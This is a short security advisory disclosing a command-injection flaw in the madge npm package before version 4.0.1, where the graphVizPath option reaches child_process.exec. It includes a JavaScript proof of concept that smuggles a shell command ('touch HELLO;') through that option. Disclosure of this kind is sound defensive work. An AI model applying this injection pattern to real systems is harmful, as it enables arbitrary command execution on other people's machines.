Madge vulnerable to command injection
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.
### PoC
```js
const madge = require('madge');
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });
```
